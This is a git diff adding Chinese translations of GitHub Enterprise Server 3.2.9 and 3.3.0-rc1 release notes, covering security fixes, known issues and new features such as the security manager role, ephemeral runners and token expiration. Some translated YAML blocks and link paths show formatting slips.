"[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/9.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/9.yml new file mode 100644 index 0000000000..3230434c37 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/9.yml @@ -0,0 +1,20 @@ +date: '2022-02-17' +sections: + security_fixes: + - 用户可以注册名为“saml”的用户或组织。 + - 包已更新到最新安全版本。 + bugs: + - 使用 Azure Blob 存储时,无法验证 GitHub Packages 存储设置并将其保存在管理控制台中。 + - mssql.backup.cadence 配置选项的 ghe-config-check 失败,并发出无效字符集警告。 + - 修复从 memcached 获取超过 2^16 个密钥时的 SystemStackError(堆栈太深)。 + changes: + - 机密扫描将跳过扫描 ZIP 和其他存档文件的机密。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-3/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-3/0-rc1.yml index 840bd35324..3be67977ca 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-3/0-rc1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-3/0-rc1.yml @@ -3,240 +3,287 @@ release_candidate: true deprecated: true intro: | {% note %} - - **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments. - + + **注意:**如果 {% data variables.product.product_location %} 正在运行候选发布版本,则无法使用热补丁升级。建议仅在测试环境中运行候选发布版本。 + {% endnote %} - - For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." + + 有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 sections: features: - - heading: Security Manager role + - heading: 安全管理员角色 notes: # https://github.com/github/releases/issues/1610 - - | - Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The "security manager" role can be applied to any team and grants the team's members the following access: + - |组织所有者现在可以授予团队管理其存储库上的安全警报和设置的访问权限。“安全管理员”角色可以应用到任何团队,并授予团队成员以下访问权限: - - Read access on all repositories in the organization. - - Write access on all security alerts in the organization. - - Access to the organization-level security tab. - - Write access on security settings at the organization level. - - Write access on security settings at the repository level. - For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)." - - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling' +- 对组织中所有存储库的读取访问。 + +- 对组织中所有安全警报的写入访问。 + +- 对组织级“安全性”选项卡的访问。 + +- 在组织级别对安全设置的写入访问。 + +- 在存储库级别对安全设置的写入访问。 + + + +有关详细信息,请参阅“[管理组织中的安全管理员](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)”。 + +| + - heading: '用于 GitHub Actions 的临时自托管运行器和用于自动缩放的新 Webhook' notes: # https://github.com/github/releases/issues/1378 - - | - {% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier. + - |{% data variables.product.prodname_actions %} 现在支持临时(单个作业)自托管运行器和一个新的 [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) Webhook,以便更轻松地自动缩放运行器。 - Ephemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.location.product_location %}, allowing you to perform any post-job management. - You can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests. - For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)." +临时运行器适合自托管环境,其中每个作业都需要在干净的映像上运行。作业运行后,临时运行器会自动从 {% data variables.product.product_location %} 注销,允许你执行任何作业后管理。 - - heading: 'Dark high contrast theme' + + +可以将临时运行器与新的 `workflow_job` Webhook 组合在一起来自动缩放自托管运行器,以响应 {% data variables.product.prodname_actions %} 作业请求。 + + + +有关详细信息,请参阅“[使用自托管运行器自动缩放](/actions/hosting-your-own-runners/ Autoscaling -with-self- hosting- runners)”和“[Webhook 事件和有效负载](/developers/ Webhook -and-events/ Webhook -events-and-payloads#workflow_job)”。 + +| + - heading: '深色高对比度主题' notes: # https://github.com/github/releases/issues/1539 - - | - A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes. + - |{% data variables.product.prodname_ghe_server %} 3.3 现已发布在前景和背景元素之间有更大对比度的深色高对比度主题。此版本还包括对所有 {% data variables.product.company_short %} 主题的颜色系统的改进。 - ![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif) - For more information about changing your theme, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." +![在外观设置页面上在深色默认主题和深色高对比度之间切换的动画图像](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif) + + + +有关更多信息,请参阅“[管理主题设置](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 + +| changes: - - heading: Administration Changes + - heading: 管理更改 notes: # https://github.com/github/releases/issues/1666 - - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.' + - '{% data variables.product.prodname_ghe_server %} 3.3 包括对存储库维护的改进,特别是对于包含许多无法访问的对象的存储库。请注意,升级到 {% data variables.product.prodname_ghe_server %} 3.3 后的第一个维护周期可能需要比平时更长的时间才能完成。' # https://github.com/github/releases/issues/1533 - - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."' + - '{% data variables.product.prodname_ghe_server %} 3.3 包括用于地理分散式团队和 CI 基础结构的存储库缓存的公共 beta 版。存储库缓存会保留在其他地理区域可用的存储库的只读副本,以防止客户端从主实例下载重复的 Git 内容。有关详细信息,请参阅“[关于存储库缓存](/admin/enterprise-management/caching-repositories/about-repository-caching)”。' # https://github.com/github/releases/issues/1616 - - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."' + - '{% data variables.product.prodname_ghe_server %} 3.3 包括对用户模拟过程的改进。现在,模拟会话需要模拟理由,操作将被记录到审核日志中,因为由模拟用户执行,被模拟的用户将收到一封电子邮件通知,说明他们已被企业管理员模拟。有关详细信息,请参阅“[模拟用户](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)”。' # https://github.com/github/releases/issues/1609 - - A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity. + - "添加了一项新的流处理服务,以促进发布到审核日志的不断增长的事件集,包括与 Git 和 {% data variables.product.prodname_actions %} 活动相关的事件。" - - heading: Token Changes + - heading: 令牌更改 notes: # https://github.com/github/releases/issues/1390 - - | - An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original. + - |现在,可以为新的和现有的个人访问令牌设置到期日期。强烈建议为个人访问令牌设置到期日期,以防止旧令牌泄漏和损害安全性。当需要续订即将到期的令牌时,令牌所有者将收到一封电子邮件。可以重新生成已到期的令牌,为用户提供具有与原始令牌相同属性的副本令牌。 - When using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." - - heading: 'Notifications changes' + +当使用带有 {% data variables.product.company_short %} API 的个人访问令牌时,响应中包含一个新的 `GitHub-Authentication-Token-Expiration` 标头,它指示令牌的到期日期。有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 + +| + - heading: '通知更改' notes: # https://github.com/github/releases/issues/1625 - - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.' + - '来自讨论的通知电子邮件现已在主题中包含“(讨论 #xx)”,因此你可以识别和筛选引用讨论的电子邮件。' - - heading: 'Repositories changes' + - heading: '存储库更改' notes: # https://github.com/github/releases/issues/1735 - - Public repositories now have a `Public` label next to their names like private and internal repositories. This change makes it easier to identify public repositories and avoid accidentally committing private code. + - 公共存储库现已在其名称旁边有一个“公共”标签,例如专用和内部存储库。此更改可以更轻松地识别公共存储库并避免意外提交专用代码。 # https://github.com/github/releases/issues/1733 - - If you specify the exact name of a branch when using the branch selector menu, the result now appears at the top of the list of matching branches. Previously, exact branch name matches could appear at the bottom of the list. + - 如果在使用分支选择器菜单时指定了分支的确切名称,那么结果现在会显示在匹配分支列表顶部。以前,确切的分支名称匹配项可能显示在列表底部。 # https://github.com/github/releases/issues/1673 - - When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request. + - "当查看具有相应打开的拉取请求的分支时,{% data variables.product.prodname_ghe_server %} 现在会直接链接到该拉取请求。以前,会有一个提示促使使用分支比较或打开新的拉取请求。" # https://github.com/github/releases/issues/1670 - - You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers. + - "现在可以单击一个按钮将文件的全部原始内容复制到剪贴板。以前,你需要打开原始文件,选择所有,然后复制。若要复制文件内容,请导航到文件并单击工具栏中的 {% octicon \"copy\" aria-label=\"The copy icon\" %}。注意,此功能目前仅适用于某些浏览器。" # https://github.com/github/releases/issues/1571 - - When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + - "创建新版本时,你现在可以使用下拉选择器选择或创建标记,而不是在文本字段中指定标记。有关详细信息,请参阅“[管理存储库中的发布](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)”。" # https://github.com/github/releases/issues/1752 - - A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/). + - "现在,在查看包含双向 Unicode 文本的文件时,会显示警告。双向 Unicode 文本的解释或编译方式可以与它在用户界面中显示的方式不同。例如,可以使用隐藏的双向 Unicode 字符来交换文件中的文本段。有关替换这些字符的详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/)。" # https://github.com/github/releases/issues/1416 - - You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)." + - "现在,可以使用 `CITATION.cff` 文件让其他人知道你希望他们如何引用你的工作成果。`CITATION.cff` 文件是纯文本文件,具有人类和机器可读的引文信息。{% data variables.product.prodname_ghe_server %} 将此信息解析为常见的引文格式,例如 [APA](https://apastyle.apa.org) 和 [BibTeX](https://en.wikipedia.org/wiki/BibTeX)。有关详细信息,请参阅“[关于 CITATION 文件](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)”。" - - heading: 'Markdown changes' + - heading: 'Markdown 更改' notes: # https://github.com/github/releases/issues/1645 - - | - You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments. + - |你可以对 Markdown 文件、问题、拉取请求和评论中的引号和列表使用新的键盘快捷方式。 - * To add quotes, use cmd shift . on Mac, or ctrl shift . on Windows and Linux. - * To add an ordered list, use cmd shift 7 on Mac, or ctrl shift 7 on Windows and Linux. - * To add an unordered list, use cmd shift 8 on Mac, or ctrl shift 8 on Windows and Linux. - See "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)" for a full list of available shortcuts. +* 若要添加引号,请在 Mac 上使用 cmd shift .,在 Windows 和 Linux 上使用 ctrl shift .。 + +* 若要添加已排序列表,请在 Mac 上使用 cmd shift 7,在 Windows 和 Linux 上使用 ctrl shift 7。 + +* 若要添加未排序列表,请在 Mac 上使用 cmd shift 8,在 Windows 和 Linux 上使用 ctrl shift 8。 + + + +有关可用快捷方式的完整列表,请参阅“[键盘快捷方式](/get-started/using-github/keyboard-shortcuts)”。 + +| # https://github.com/github/releases/issues/1684 - - You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)." + - "现在,你可以在任何 Markdown 字段中使用脚注语法。脚注显示为上标链接,你可以单击这些链接跳转到引用的信息,这些信息显示在文档底部的新建部分中。有关语法的详细信息,请参阅“[基本写入和格式化语法](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)”。" # https://github.com/github/releases/issues/1647 - - When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file. + - "在查看 Markdown 文件时,你现在可以单击工具栏中的 {% octicon \"code\" aria-label=\"The code icon\" %} 来查看 Markdown 文件的源。以前,你需要使用意见视图链接到 Markdown 文件源中的特定行号。" # https://github.com/github/releases/issues/1600 - - You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)." + - "现在可以通过将图像和视频粘贴到 Markdown 正文中或从 Markdown 文件底部的对话框中选择它们来将图像和视频添加到 Gist 中。有关支持的文件类型的信息,请参阅“[附加文件](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)”。" # https://github.com/github/releases/issues/1523 - - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.' + - '{% data variables.product.prodname_ghe_server %} 现在根据标题自动为 Wikis 生成一个目录。' # https://github.com/github/releases/issues/1626 - - When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file. + - "将图像和视频等文件拖放到 Markdown 编辑器中时,{% data variables.product.prodname_ghe_server %} 现在在放置文件时使用鼠标指针位置而不是光标位置。" - - heading: 'Issues and pull requests changes' + - heading: '问题和拉取请求更改' notes: # https://github.com/github/releases/issues/1504 - - You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)." + - "现在可以使用逻辑 OR 运算符按标签搜索问题。要使用逻辑 OR 筛选问题,请使用逗号语法。例如,`label:\"good first issue\",\"bug\"` 将列出标签为 `good first issue` 或 `bug` 的所有问题。有关详细信息,请参阅“[筛选和搜索问题以及拉取请求](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)”。" # https://github.com/github/releases/issues/1685 - - | - Improvements have been made to help teams manage code review assignments. You can now: + - |已进行改进以帮助团队管理代码评审分配。你现在可以: - - Limit assignment to only direct members of the team. - - Continue with automatic assignment even if one or more members of the team are already requested. - - Keep a team assigned to review even if one or more members is newly assigned. - The timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members. - For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/). - - You can now filter pull request searches to only include pull requests you are directly requested to review. +- 只分配给团队的直接成员。 + +- 即使已请求一个或多个团队成员,也会继续自动分配。 + +- 指定一个团队负责评审,即使新指定了一个或多个成员。 + + + +现在,拉取请求页面上的时间线和审阅者边栏将指示评审请求是否自动分配给了一个或多个团队成员。 + + + +有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/)。 + +| + - 现在,可以筛选拉取请求搜索,以只包含直接请求评审的拉取请求。 # https://github.com/github/releases/issues/1683 - - Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." + - "拉取请求中的筛选文件现在完全隐藏在视图中,并且不再在“已更改的文件”选项卡中显示为折叠状态。“文件筛选器”菜单也得到了简化。有关详细信息,请参阅“[筛选拉取请求中的文件](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)”。" - - heading: 'GitHub Actions changes' + - heading: 'GitHub Actions 更改' notes: # https://github.com/github/releases/issues/1593 - - You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)." + - "现在可以创建“复合操作”,将多个工作流步骤组合成一个操作,并包括引用其他操作的能力。这样可以更轻松地减少工作流中的重复。以前,操作只能在其 YAML 定义中使用脚本。有关更多信息,请参阅“[创建复合操作](/actions/creating-actions/creating-a-composite-action)”。" # https://github.com/github/releases/issues/1694 - - Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise's self-hosted runners. + - "在企业级别管理自托管运行器不再需要使用具有“admin:enterprise”范围的个人访问令牌。可以使用新的 `manage_runners:enterprise` 范围来限制令牌上的权限。具有此范围的令牌可以向 [许多 REST API 终结点](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) 进行身份验证,以管理企业的自托管运行器。" # https://github.com/github/releases/issues/1157 - - | - The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events: + - |审核日志现在包括 {% data variables.product.prodname_actions %} 的附加事件。现记录以下事件的审核日志条目: - * A self-hosted runner is registered or removed. - * A self-hosted runner is added to a runner group, or removed from a runner group. - * A runner group is created or removed. - * A workflow run is created or completed. - * A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner. - For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)." +* 注册或移除自托管运行器。 + +* 将自托管运行器添加到运行器组中或从运行器组中删除。 + +* 创建或移除运行器组。 + +* 创建或完成工作流运行。 + +* 工作流作业准备就绪。重要的是,该日志包括提供给运行器的机密列表。 + + + +有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的安全强化](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)。” + +| # https://github.com/github/releases/issues/1588 - - Performance improvements have been made to {% data variables.product.prodname_actions %}, which may result in higher maximum job concurrency. + - "已对 {% data variables.product.prodname_actions %} 进行了性能改进,这可能会使最大作业并发性更高。" - - heading: 'GitHub Packages changes' + - heading: 'GitHub 包更改' notes: # https://github.com/github/docs-content/issues/5554 - - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage. + - "删除存储库后,现在会立即从 {% data variables.product.prodname_registry %} 外部存储中删除任何关联的包文件。" - - heading: 'Dependabot and Dependency graph changes' + - heading: 'Dependabot 和依赖项关系图更改' notes: # https://github.com/github/releases/issues/1141 - - Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." + - "依赖项审查已完成测试,现在通常可供 {% data variables.product.prodname_GH_advanced_security %} 客户使用。依赖项审查在拉取请求的“已更改的文件”选项卡中提供依赖项更改及其安全影响的易于理解的视图。视图中将显示已添加、移除或更新了哪些依赖项以及漏洞信息。有关详细信息,请参阅“[审查拉取请求中的依赖项更改](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。" # https://github.com/github/releases/issues/1630 - - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.' + - '{% data variables.product.prodname_dependabot %} 现作为专用 beta 版提供,为几个热门的生态系统提供版本更新和安全更新。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 需要 {% data variables.product.prodname_actions %} 和为使用 {% data variables.product.prodname_dependabot %} 而配置的自托管运行器池。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 还需要启用 {% data variables.product.prodname_github_connect %}。若要了解详细信息并注册 beta 版,请联系 GitHub 销售团队。' - - heading: 'Code scanning and secret scanning changes' + - heading: '代码扫描和机密扫描更改' notes: # https://github.com/github/releases/issues/1724 - - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. + - "{% data variables.product.prodname_codeql %} 分析的深度已通过添加对更多 [库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) 的支持并增加现有库和框架模型的覆盖范围得到改进。[JavaScript](https://github.com/github/codeql/tree/main/javascript) 分析现支持最常见的模板语言,[Java](https://github.com/github/codeql/tree/main/java) 现在覆盖的终结点是以前 {% data variables.product.prodname_codeql %} 版本的三倍以上。因此,{% data variables.product.prodname_codeql %} 现在可以检测更多不受信任的用户数据的潜在来源、数据流经的步骤以及数据可能最终到达的潜在危险接收器。这使得 {% data variables.product.prodname_code_scanning %} 警报的质量得到了全面的提高。" # https://github.com/github/releases/issues/1639 - - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).' + - '{% data variables.product.prodname_codeql %} 现在支持扫描 Java 16 中的标准语言功能,例如记录和模式匹配。{% data variables.product.prodname_codeql %} 能够分析用 Java 版本 7 到 16 编写的代码。有关支持的语言和框架的详细信息,请参阅 [{% data variables.product.prodname_codeql %} 文档](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/# id5)。' # https://github.com/github/releases/issues/1655 - - | - Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request. + - |将代码推送到拉取请求时,对 {% data variables.product.prodname_code_scanning %} `on:push` 触发器进行了改进。如果 `on:push` 扫描返回与拉取请求关联的结果,{% data variables.product.prodname_code_scanning %} 现在将在拉取请求上显示这些警报。 - Some other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/). + +其他一些 CI/CD 系统可以专门配置为在代码被推送到分支时触发管道,甚至专门配置为在每次提交时触发管道。每当触发此类分析管道并将结果上传到 SARIF API 时,{% data variables.product.prodname_code_scanning %} 将尝试将分析结果与一个打开的拉取请求相匹配。如果找到一个打开的拉取请求,结果发布将如上所述。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/)。 + +| # https://github.com/github/releases/issues/1546 - - You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/). + - "你现在可以在 {% data variables.product.prodname_code_scanning %} 警报页面上使用新的拉取请求筛选器来查找与拉取请求关联的所有 {% data variables.product.prodname_code_scanning %} 警报。通过拉取请求“检查”选项卡上新的“查看所有分支警报”链接,可直接查看已应用特定拉取请求筛选器的 {% data variables.product.prodname_code_scanning %} 警报。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/)。" # https://github.com/github/releases/issues/1562 - - User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository's entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + - "{% data variables.product.prodname_secret_scanning %} 的用户定义模式已完成测试,现在通常可供 {% data variables.product.prodname_GH_advanced_security %} 